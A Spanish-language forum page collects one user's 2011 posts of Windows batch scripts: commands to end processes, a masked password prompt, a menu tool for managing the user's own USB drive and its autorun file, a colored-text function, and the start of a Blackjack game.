Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - @ed33x

Páginas 1 2 3 4 5
#61
Batch - Bash / Otras formas de cerrar un proceso By virtual
Enero 22, 2011, 09:49:16 PM
Germaniac:

Existe otra forma no muy comoda de cerrar un proceso usando ntsd.exe (Symbolic Debugger for Windows)

Código: text
ntsd -p PID.del.proceso -c "q"

o
Código: text
ntsd -pn Nombre.del.proceso.y.extension -c "q"


lo malo es que ntsd se ejecuta en una ventana aparte y no desde la que se invoca.

lo bueno es que funciona en cuentas de invitado.   ;D



Rockox:
Código: text
wmic process where (name="notepad.exe") delete

Código: text
C:\>code
Eliminando la instancia \\JIMMAR\ROOT\CIMV2:Win32_Process.Handle="2384"
Instancia eliminada correctamente.

C:\>

#62
Batch - Bash / [Herramienta] Funcion Password
Enero 22, 2011, 09:48:14 PM
Código: text

::FUNCION PASSWORD
::VERSION B
::TESTEADO EN WINDOWS XP
::NO FUNCIONA EN SISTEMAS DE 64 BITS
::OBTIENE UNA PASSWORD Y LA DEVUELVE FILTRADA.
::SOLO SE PERMITEN LETRAS Y NUMEROS.
::ME HE DIVERTIDO CREANDO ESTA FUNCION PUES NUNCA HABIA JUGADO CON ANSI.SYS
::PENSE QUE NO SE PODIA EN XP Y SI SE PUEDE
::CON ANSI.SYS CAMBIO EL COLOR DE FONDO Y DE LETRAS A NEGRO
::AUTOR: CARLOS


 @ECHO OFF
SETLOCAL ENABLEEXTENSIONS
PUSHD "%TEMP%"
(SET PASSWORD=)

SET NOMBRE=CONFIG.NT
SET ARCHIVO=%Windir%\SYSTEM32\%NOMBRE%
SET ARCHIVO_RESPALDO=%ARCHIVO%.BAK
IF EXIST "%ARCHIVO_RESPALDO%" DEL /F /Q /A "%ARCHIVO_RESPALDO%" >NUL 2>&1
IF EXIST "%ARCHIVO%" TYPE "%ARCHIVO%" > "%ARCHIVO_RESPALDO%"
IF EXIST "%ARCHIVO%" DEL /F /Q /A "%ARCHIVO%" >NUL 2>&1

FOR %%A IN (
"DOSONLY"
"DOS=HIGH, UMB"
"FILES=40"
"DEVICE=%WINDIR%\SYSTEM32\ANSI.SYS /X"
) DO ECHO:%%~A>>"%ARCHIVO%"

DEL /F /Q /A "ESC.KEY" >NUL 2>&1
FOR %%A IN (
"N ESC.KEY"
"E 0000 1B"
"R CX"
"0001"
"W 0"
"Q"
) DO ECHO:%%~A>>"ESC.KEY"

TYPE ESC.KEY | DEBUG >NUL 2>&1
FOR /F %%A IN (ESC.KEY) DO (SET ESCAPE=%%A)
DEL /F /Q /A "ESC.KEY" >NUL 2>&1
DEL /F /Q /A "PWL.BAT" >NUL 2>&1
FOR %%A IN (
"PROMPT PASSWORD"
"CLS %ESCAPE%[13;0;64;13p"
"%ESCAPE%[30;40m"
"ECHO.%ESCAPE%[6A"
"IF ERRORLEVEL 0 IF NOT ERRORLEVEL 1 TYPE CON >PWL.DAT"
"EXIT"
) DO ECHO:%%~A>>"PWL.BAT"

COMMAND.COM /CPWL.BAT
CLS
DEL /F /Q /A "PWL.BAT" >NUL 2>&1
FOR /F "TOKENS=* EOL=%ESCAPE%" %%A IN (PWL.DAT) DO (
SET "PASSWORD=%%A"
GOTO :CONTINUE
)
:CONTINUE
IF DEFINED PASSWORD CALL :CLEAN PASSWORD
ECHO.SU PASSWORD ES :%PASSWORD%

::COMPROBACION
::PARA NO DISTINCION DE MAYUSCULAS AL IF COLOCARLE /I
IF /I "MICLAVE"=="%PASSWORD%" (ECHO.TU CLAVE ES MICLAVE) ELSE (
ECHO.TU CLAVE NO ES MICLAVE
)
DEL /F /Q /A "PWL.DAT" >NUL 2>&1
DEL /F /Q /A "%ARCHIVO%" >NUL 2>&1
REN "%ARCHIVO_RESPALDO%" "%NOMBRE%" >NUL 2>&1
POPD
ENDLOCAL

PAUSE
CLS
GOTO :EOF

:::::::::::::::::::::::::::::::::::::::::::::::::::::::
:CLEAN
:::::::::::::::::::::::::::::::::::::::::::::::::::::::
::Autor Carlos
::version 1.0 more restricted
    SETLOCAL ENABLEDELAYEDEXPANSION
    IF NOT DEFINED %~1 (GOTO:_CLEANE) || (GOTO:_CLEANE)
    SET "CONTENT=!%~1!"
    IF NOT DEFINED CONTENT (GOTO:EOF)
    SET /A COUNT=0
    :_LOOP
        SET "CHAR=!CONTENT:~%COUNT%,1!"
        IF NOT DEFINED CHAR (GOTO:_ENDLOOP)
        SET ADD=FALSE
        FOR %%A IN (0 1 2 3 4 5 6 7 8 9) DO (
            IF [^!CHAR!] EQU [%%A] (SET ADD=TRUE)
        )
        FOR %%A IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
            IF /I [^!CHAR!] EQU [%%A] (SET ADD=TRUE)
        )
        IF /I [!ADD!] EQU [TRUE] (
            SET "STRING=!STRING!!CHAR!"
        )
        SET /A COUNT +=1
        GOTO:_LOOP
    :_ENDLOOP
        ENDLOCAL&&SET "%~1=%STRING%"
        GOTO:EOF
    :_CLEANE
        ECHO.CLEAN FUNCTION RECEIVE A DEFINED VARIABLE.
        PAUSE
        GOTO:EOF
:::::::::::::::::::::::::::::::::::::::::::::::::::::::
#63
Batch - Bash / [Herramienta]"USB-SOFT v2" by P43L0
Enero 22, 2011, 09:47:55 PM

Recuerda que para que funcione al 100% debes de ponerlo en el autorun de tu USB.

Mejoras:

-Gráficos
-Las condiciones del principio
-el método de introducir archivos
-Problemas al Abrir el USB
-Problemas con la modificación del Autorun

Código: text

@ECHO OFF
mode con cols=20
mode con lines=10
title USB SOFT V2 & color a
IF NOT EXIST Documentos (md Documentos && md Musica && md Videos && md Fotos)
IF NOT EXIST Fotos (md Fotos && md Musica && md Videos && md Documentos)
IF NOT EXIST Musica (md Musica && md Fotos && md Videos && md Documentos)
IF NOT EXIST Videos (md Videos && md Musica && md Fotos && md Documentos)
call:dynbar2 15
pause>nul
:dynbar2
set lim=%1
for /l %%a in (1,1,%lim%) do (
set b%%a= 
set bb%%a=Í)
:dynbar22
cls
set /a a=%a%+1
set b%a%=Û
set lines=%bb1%%bb2%%bb3%%bb4%%bb5%%bb6%%bb7%%bb8%%bb9%%bb10%%bb11%%bb12%%bb13%%bb14%%bb15%
set bar=%b1%%b2%%b3%%b4%%b5%%b6%%b7%%b8%%b9%%b10%%b11%%b12%%b13%%b14%%b15%
echo.
echo  Comprobacion
echo  É%lines%»
echo  º%bar%º
echo  È%lines%¼
echo.
ping -n 0,9 0.0.0.0 > nul
if %a%==%lim% (msg * Comprobacion realizada & goto ucop) else (goto :dynbar22)
:ucop
mode con cols=63
mode con lines=30
echo.                                      
echo         Ã‰ÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÂ»
echo        ºº±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±ººÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,¿
echo        ºº±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±ºº²²²²²²²²²²³
echo        ºº±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±ºº²²²²ÍͲ²²²³
echo        ºº±±±±±±±±±±USB±SOFT±±±±±±±±±±±±±±±±±±±±ºº²²²²²²²²²²³
echo        ºº±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±ºº²²²²²²²²²²³
echo        ºº±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±ºº²²²²ÍͲ²²²³
echo        ºº±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±ºº²²²²²²²²²²³
echo        ºº±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±ººÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ù
echo         ÃˆÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÂ¼
echo.
ECHO         Ã›Ã›ÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃ›Ã›
ECHO.        Û                            Û
ECHO.        Û      USB SOFT              Û
ECHO.        Û                            Û 
ECHO.        ÛÛÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÛÛ
echo.
ECHO         Ã›Ã›ÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃ›Ã›
ECHO.        Û                            Û
ECHO.        Û      Coded BY P4^|3L0       Ã›
ECHO.        Û                            Û 
ECHO.        ÛÛÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÛÛ
echo.
echo        ² ² ²²² ²²²        ²²² ²²² ²²² ²²²    ²     Â² ²²²²
echo        ² ² ²   Â²  ²       Â²   Â² ² ²    ²     Â²     Â²    ² 
echo        ² ² ²²² ²²²        ²²² ² ² ²²   Â²      ²   Â²  ²²²²
echo        ² ²   Â² ²  ²         Â² ² ² ²    ²       Â² ²   Â²
echo        ²²² ²²² ²²²        ²²² ²²² ²    ²        ²    ²²²²
pause>nul
cls
:Start
mode con cols=65
mode con lines=30
cls
echo      ÉÍÍÍ» ÚÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,¿
echo      º 1 º ^|      Modificar Autorun      ^|
echo      ÈÍÍͼ ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ù
echo      ÉÍÍÍ» ÚÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,¿
echo      º 2 º ^|  Borrar Archivos  ^|
echo      ÈÍÍͼ ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ù
echo      ÉÍÍÍ» ÚÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,¿
echo      º 3 º ^|   Ver Archivos         ^|
echo      ÈÍÍͼ ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ù
echo      ÉÍÍÍ» ÚÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,¿
echo      º 4 º ^|    Comprobar Autorun   ^|
echo      ÈÍÍͼ ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ù
echo      ÉÍÍÍ» ÚÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,¿
echo      º 5 º ^|  Informacion programa  ^|
echo      ÈÍÍͼ ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ù
echo      ÉÍÍÍ» ÚÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,¿
echo      º 6 º ^|  Introducir archivo    ^|
echo      ÈÍÍͼ ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ù
echo      ÉÍÍÍ» ÚÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,¿
echo      º 7 º ^|  Abrir USB ^|
echo      ÈÍÍͼ ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ù
echo      ÉÍÍÍ» ÚÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,¿
echo      º 8 º ^|  Salir  ^|
echo      ÈÍÍͼ ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ù
SET /p usop="Elige opcion: "
IF %usop% == 1 (GOTO mod)
IF %usop% == 2 (GOTO udel)
IF %usop% == 3 (GOTO udir)
IF %usop% == 4 (GOTO uana)
IF %usop% == 5 (GOTO ucop)
IF %usop% == 6 (GOTO desk)
IF %usop% == 7 (GOTO st)
IF %usop% == 8 (EXIT)
IF NOT DEFINED %usop% (GOTO Start)
:ERROR
msg * Error provocado con USB SOFT
:mod
mode con cols=40
mode con lines=30
cls
attrib -s -h autorun.inf
ECHO      ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ECHO.     Âº     1- CAMBIAR ICONO-      º
ECHO.     ÃˆÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÂ¼
ECHO      ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ECHO.     Âº     2- CAMBIAR ATRIBUTO-      º
ECHO.     ÃˆÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÂ¼
SET /p mod1="Elige opcion: "
IF %mod1% == 1 (GOTO uico)
IF %mod1% == 2 (GOTO uatt)
IF  NOT DEFINED %mod1% (GOTO mod)
:uico
cls
del /s /f /q autorun.inf
set /p lab="Nombre para USB: "
cls
ECHO IMPORTANTE LA RUTA DEL ICONO HA DE IR ENTRE COMILLAS
ECHO Arrastra icono.
set /p root="Ruta:"
IF NOT %root:~-5,4%==.ico (GOTO ERROR)
IF NOT DEFINED root (GOTO uico)ELSE (GOTO:uico2)
:uico2
cd /d %unit%:
attrib -h -s uico.ico 2>nul >nul
del uico.ico 2>nul >nul
copy /y %root% uico.ico 2>nul >nul
attrib +h +s +r uico.ico 2>nul >nul
echo [AutoRun] >> autorun.inf
echo action=Abrir carpeta para ver archivos >> autorun.inf
echo label=%lab% >> autorun.inf
echo icon=uico.ico >> autorun.inf
echo shellexecute=autorun.bat >> autorun.inf
attrib +h +s autorun.inf
GOTO Start

:uatt
cls
attrib autorun.inf
echo      ÉÍÍÍ» ÚÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,¿
echo      º 1 º ^|  Atributo Oculto ^|
echo      ÈÍÍͼ ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ù
echo      ÉÍÍÍ» ÚÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,¿
echo      º 2 º ^|  Atributo sistema   ^|
echo      ÈÍÍͼ ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ù
echo      ÉÍÍÍ» ÚÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,¿
echo      º 3 º ^|   Todos atributos    ^|
echo      ÈÍÍͼ ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ù
echo      ÉÍÍÍ» ÚÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,¿
echo      º 4 º ^|    Salir   ^|
echo      ÈÍÍͼ ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ù
set /p t="Elige opcion: "
IF %t% == 1 (GOTO h)
IF %t% == 2 (GOTO s)
IF %t% == 3 (GOTO rest)
IF %t% == 4 (ATTRIB +H +S autorun.inf && EXIT)
IF NOT DEFINED %t% (GOTO uatt)
:h
ATTRIB +H autorun.inf
goto uatt
:s
ATTRIB +S autorun.inf
goto uatt
:rest
ATTRIB +H +S autorun.inf
GOTO uatt

:udel
ECHO Especifica Letra de USB\Ruta\Archivo & ECHO Ejemplo: G:\Documentos\Texto.txt
set /p y="Ruta: "
del /s /f /q %y%
GOTO Start

:udir
cls
ECHO         Ã‰ÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÂ»
ECHO.        º     ARCHIVOS VISIBLES      º
ECHO.        ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ& DIR
echo.
ECHO         Ã‰ÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÂ»
ECHO.        º  ARCHIVOS CON ATRIBUTOS    º
ECHO.        ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ& ATTRIB /S
pause>nul
goto Start

:uana
cls
type autorun.inf
echo.
echo.
ECHO         Ã‰ÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÂ»
ECHO.        º     Atributos AUTORUN      º
ECHO.        ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
attrib autorun.inf
pause>nul
goto Start

:st
cls
start %~d0
goto Start

:desk
cls
echo MUY IMPORTANTE LA RUTA DEBE ESTAR ENTRE COMILLAS
echo      ÉÍÍÍ» ÚÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,¿
echo      º 1 º ^|  Documentos ^|
echo      ÈÍÍͼ ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ù
echo      ÉÍÍÍ» ÚÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,¿
echo      º 2 º ^|  Musica   ^|
echo      ÈÍÍͼ ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ù
echo      ÉÍÍÍ» ÚÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,¿
echo      º 3 º ^|   Videos      ^|
echo      ÈÍÍͼ ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ù
echo      ÉÍÍÍ» ÚÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,¿
echo      º 4 º ^|    Fotos   ^|
echo      ÈÍÍͼ ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ù
set /p folder="Elige carpeta: "
IF %folder% == 1 (GOTO FD)
IF %folder% == 2 (GOTO FM)
IF %folder% == 3 (GOTO FV)
IF %folder% == 4 (GOTO FF)
IF NOT DEFINED %folder% (GOTO desk)
:FD
ECHO Arrastra documento.
set /p doc="Ruta:"
set /p docnom="Nombre del documento: "
copy /y %doc% Documentos\%docnom%%doc:~-5,4% 2>nul >nul
goto Start
:FM
ECHO Arrastra archivo de musica.
set /p mus="Ruta:"
set /p musnom="Nombre de la cancion: "
copy /y %mus% Musica\%musnom%%mus:~-5,4% 2>nul >nul
goto Start
:FV
ECHO Arrastra un video.
set /p vid="Ruta:"
set /p vidnom="Nombre del video: "
copy /y %vid% Videos\%vidnom%%mus:~-5,4% 2>nul >nul
goto Start
:FF
ECHO Arrastra una imagen.
set /p foto="Ruta:"
set /p imgnom="Nombre para la foto: "
copy /y %foto% Fotos\%imgnom%%foto:~-5,4% 2>nul >nul
goto Start


Salu2! :HI:
#64
Batch - Bash / colores.cmd (c1)
Enero 22, 2011, 09:46:26 PM
colores.cmd -> Grandisima aplicacion de Carlos capaz de colorear texto independiente en cualquiera parte del .bat

Código: text
@ECHO OFF
SETLOCAL ENABLEEXTENSIONS

CALL :CECHO 0A "normal " "Texto coloreado" " normal"
CALL :CECHO 0B "Texto coloreado" " normal"
CALL :CECHO 0C "Texto coloreado"
CALL :CECHO 0D "Texto coloreado"
CALL :CECHO 0E "Texto coloreado"
CALL :CECHO 0F "Texto coloreado"
CALL :CECHO CF "Texto coloreado"
CALL :CECHO AF "Texto coloreado"
CALL :CECHO F0 "Texto coloreado"
CALL :CECHO EE "amarillo sobre amarillo"

PAUSE
EXIT /B 0

:CECHO
::Autor: Carlos
::Basado en el trabajo de: Frank P. Westlake
::disponible en:
:: http://groups.google.co.uk/group/alt.msdos.batch.nt
:: /browse_thread/thread/f819acd4582d5de3/8c81192068307388
SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
PUSHD "%TEMP%\"
IF EXIST COLOR DEL /F /Q /A COLOR > NUL 2>&1
IF EXIST COLOR\ RD /S /Q COLOR > NUL 2>&1
MD COLOR
CD COLOR

SET "C="
SET "L1="
SET "L2="
SET "L3="

SET "C=%~1"
ECHO.!C!|FINDSTR /R /I "\<[0-9A-F][0-9A-F]\>" > NUL || (
ECHO. DEBE ESPECIFICARSE UN COLOR HEXADECIMAL.
ECHO. COLOR /?
EXIT /B 1
)
SET "L1=%~2"
SET "L2=%~3"
SET "L3=%~4"
IF NOT DEFINED L2 (
SET "L1="
SET "L2=%~2"
SET "L3="
)
CALL :CLEAN C
CALL :CLEAN L1
CALL :CLEAN L2
CALL :CLEAN L3
ECHO.%L3%>"%L2%"
0>NUL SET /P "_=%L1%"
FINDSTR.EXE /A:%C% /R "^" "%L2%*"
POPD
IF EXIST "%TEMP%\COLOR" DEL /F /Q /A "%TEMP%\COLOR" > NUL 2>&1
IF EXIST "%TEMP%\COLOR\" RD /S /Q "%TEMP%\COLOR" > NUL 2>&1
EXIT /B 0

:CLEAN
::deja solo caracteres dentro del rango a-z 0-9
::y espacio en el contenido de las variables.
::version 2.0
::Version modificada con mas caracteres
::solo para trabajar con funcion cecho.
::Los caracteres agregados son: # $ + - =  @
::Recibe un parametro con el nombre de la variable
::que se quiere filtrar su contenido.
::Ejemplo:
::call :clean nombreDeMiVariable
::autores: Matt Alvariz , Carlos
 @SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
 @SET "V=%*"
 @SET "S=!%V%!"
 @IF NOT DEFINED S EXIT /B 1
 @SET "V="
:LOOP
  @FOR %%* IN (
" " 0 1 2 3 4 5 6 7 8 9 A B C D E F G
H I J K L M N O P Q R S T U V W X Y Z
# $ + - =  @
) DO    @IF /I "!S:~0,1!" EQU "%%~*" SET "V=!V!!S:~0,1!"
 @SET "S=!S:~1!"
 @IF DEFINED S GOTO :LOOP
 @(ENDLOCAL & SET %*=%V%)
 @SETLOCAL ENABLEEXTENSIONS
 @EXIT /B 0


Segunda version mejorada:
Código: text
@ECHO OFF
SETLOCAL ENABLEEXTENSIONS

CALL :CECHO 0A "normal " "Los cometas del latin cometa y el griego kometes son cuerpos celestes constituidos por hielo y rocas que orbitan el Sol siguiendo orbitas muy elipticas" " normal"
CALL :CECHO 0A "normal " "Texto coloreado" " normal"
CALL :CECHO 0A "normal " "Texto coloreado" " normal"
CALL :CECHO 0B "normal " "Texto coloreado"
CALL :CECHO 0C "Texto coloreado"
CALL :CECHO 0D "Texto coloreado"
CALL :CECHO 0E "Texto coloreado"
CALL :CECHO 0F "Texto coloreado"
CALL :CECHO CF "Texto coloreado"
CALL :CECHO AF "Texto coloreado"
CALL :CECHO F0 "Texto coloreado"
CALL :CECHO EE "amarillo sobre amarillo"

PAUSE
EXIT /B 0

:CECHO
::Autor: Carlos
::Version 1.0 22:42 07-05-2009
::Se pueden recibir tres argumentos de texto.
::Cada argumento debe ir encerrado entre comillas.
::Si se recibe un solo argumento este es el texto coloreado.
::Si se recibe dos argumentos o tres argumentos,
::el segundo argumento es el texto coloreado.
::Si el texto coloreado tiene mas de 150 caracteres,
::el texto coloreado es truncado a 150 caracteres y
::se recibe un mensaje avisando la accion.
::Basado en el trabajo de: Frank P. Westlake
::disponible en:
:: http://groups.google.co.uk/group/alt.msdos.batch.nt
:: /browse_thread/thread/f819acd4582d5de3/8c81192068307388
SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
PUSHD "%USERPROFILE%\"
IF EXIST COLOR DEL /F /Q /A COLOR > NUL 2>&1
IF EXIST COLOR\ RD /S /Q COLOR > NUL 2>&1
MD COLOR
CD COLOR

SET "C="
SET "L1="
SET "L2="
SET "L3="

SET "C=%~1"
ECHO.!C!|FINDSTR /R /I "\<[0-9A-F][0-9A-F]\>" > NUL || (
ECHO. DEBE ESPECIFICARSE UN COLOR HEXADECIMAL.
ECHO. COLOR /?
EXIT /B 1
)
SET /A "TAM=0"
SET "L1=%~2"
SET "L2=%~3"
SET "L3=%~4"
IF NOT DEFINED L2 (
SET "L1="
SET "L2=%~2"
SET "L3="
)
CALL :CLEAN C
CALL :CLEAN L1
CALL :CLEAN L2
CALL :CLEAN L3
IF DEFINED L2 CALL :LEN "%L2%"
IF %TAM% GTR 150 (
ECHO.
ECHO.TEXTO COLOREADO REDUCIDO A 150 CARACTERES DE LONGITUD
ECHO.
)
IF DEFINED L2 SET "L2=%L2:~0,150%"
IF DEFINED L2 ECHO.%L3%>"%L2%"
0>NUL SET /P "_=%L1%"
FINDSTR.EXE /A:%C% /R "^" "*"
POPD
IF EXIST "%USERPROFILE%\COLOR" DEL /F /Q /A "%USERPROFILE%\COLOR" > NUL 2>&1
IF EXIST "%USERPROFILE%\COLOR\" RD /S /Q "%USERPROFILE%\COLOR" > NUL 2>&1


:LEN
SETLOCAL ENABLEEXTENSIONS DISABLEDELAYEDEXPANSION
SET /A CONTL=0
SET "WORDL=%~1"
:_LOOPL
IF NOT DEFINED WORDL (GOTO :_ENDL)
SET "WORDL=%WORDL:~1%"
SET /A CONTL +=1
GOTO :_LOOPL
:_ENDL
ENDLOCAL & SET /A TAM=%CONTL%
EXIT /B 0


:CLEAN
::deja solo caracteres dentro del rango a-z 0-9
::y espacio en el contenido de las variables.
::version 2.0
::Version modificada con mas caracteres
::solo para trabajar con funcion cecho.
::Los caracteres agregados son: # $ + - =  @
::Recibe un parametro con el nombre de la variable
::que se quiere filtrar su contenido.
::Ejemplo:
::call :clean nombreDeMiVariable
::autores: Matt Alvariz , Carlos
 @SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
 @SET "V=%*"
 @SET "S=!%V%!"
 @IF NOT DEFINED S EXIT /B 1
 @SET "V="
:LOOP
 @FOR %%* IN (
" " 0 1 2 3 4 5 6 7 8 9 A B C D E F G
H I J K L M N O P Q R S T U V W X Y Z
# $ + - =  @
) DO  @IF /I "!S:~0,1!" EQU "%%~*" SET "V=!V!!S:~0,1!"
 @SET "S=!S:~1!"
 @IF DEFINED S GOTO :LOOP
 @(ENDLOCAL & SET %*=%V%)
 @SETLOCAL ENABLEEXTENSIONS
 @EXIT /B 0
#65
Batch - Bash / Black Jack v2 by Craphter
Enero 22, 2011, 09:45:06 PM
La Parte Grafica que hice para el Juego de la 21, combinada con la logica del Juego de Black Jack de Craphter.

Código: text
@echo off
@title BlackJack v 2
@mode con cols=80 lines=21

::Juego de Cartas en Batch
::BlackJack v 2.0
::Idea Original by Craphter - Diseño Grafico by Splendit
::U21hcnRHZW5pdXM

